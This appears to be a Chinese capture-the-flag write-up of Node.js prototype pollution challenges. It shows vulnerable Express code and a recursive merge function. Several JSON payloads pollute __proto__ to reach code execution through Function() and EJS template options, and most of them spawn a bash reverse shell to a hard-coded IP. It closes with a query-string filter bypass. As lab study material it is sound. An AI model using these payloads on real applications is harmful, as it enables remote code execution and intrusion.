赞
踩
comman.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
login.js
var express = require('express'); var router = express.Router(); var utils = require('../utils/common'); /* GET home page. */ router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); var flag='flag_here'; var secert = {}; var sess = req.session; let user = {}; utils.copy(user,req.body); if(secert.ctfshow==='36dboy'){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); } }); module.exports = router;
我们知道没有对象都有一个原生属性就是__proto__
然后我们利用这个来使用copy来实现属性的污染把,secret的ctfshow属性变为36dboy
POST:
{"__proto__":{"ctfshow":"36dboy"}}
然后发包就行
app.js:
var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var apiRouter = require('./routes/api');
login.js
var express = require('express'); var router = express.Router(); var utils = require('../utils/common'); function User(){ this.username=''; this.password=''; } function normalUser(){ this.user } /* GET home page. */ router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); var flag='flag_here'; var secert = {}; var sess = req.session; let user = {}; utils.copy(user,req.body); if(secert.ctfshow===flag){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); } }); module.exports = router;
api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
res.render('api', { query: Function(query)(query)});
query属性并且想把这个属性变成函数然后再直接调用这个函数
我们利用这个来覆盖query进行RCE
Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}
然后使得api起反应,那么函数就会被调用了
由于是污染题,所以我靶机是开了差不多十来次,终于是拿到了
最后翻到了flag
login.js变了
var express = require('express'); var router = express.Router(); var utils = require('../utils/common'); /* GET home page. */ router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); var flag='flag_here'; var user = new function(){ this.userinfo = new function(){ this.isVIP = false; this.isAdmin = false; this.isAuthor = false; }; } utils.copy(user.userinfo,req.body); if(user.userinfo.isAdmin){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: '登录失败'}); } }); module.exports = router;
用我们发送的请求(req.body)
覆盖user.userinfo
的属性为真
而我们要污染到object
的话就要两层才能达到因为
userinfo
上层为user
,user
的上层为object
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}
发包然后触发即可
源码和340没有变,但是没有api的函数触发了
首先一样的双层污染
用snyk测一下先发现有ejs的
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');var __tmp2"}}}
这里的前面的 _tmp1; 和后面的 var __tmp2 不能删,是为了闭合代码。
污染之后没有反应,随便访问一个页面,反弹成功
根目录下面找到flag
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');//"}}}
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}
这里有些师傅反弹不到,可能是一个细节res接受JSON
而在是在login发包,你如果原地发会报错
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
过滤了8c 2c ,
var query = JSON.parse(req.query.query);
定义了一个js对象,访问其参数值
直接传就行了
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
考虑一下绕过
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。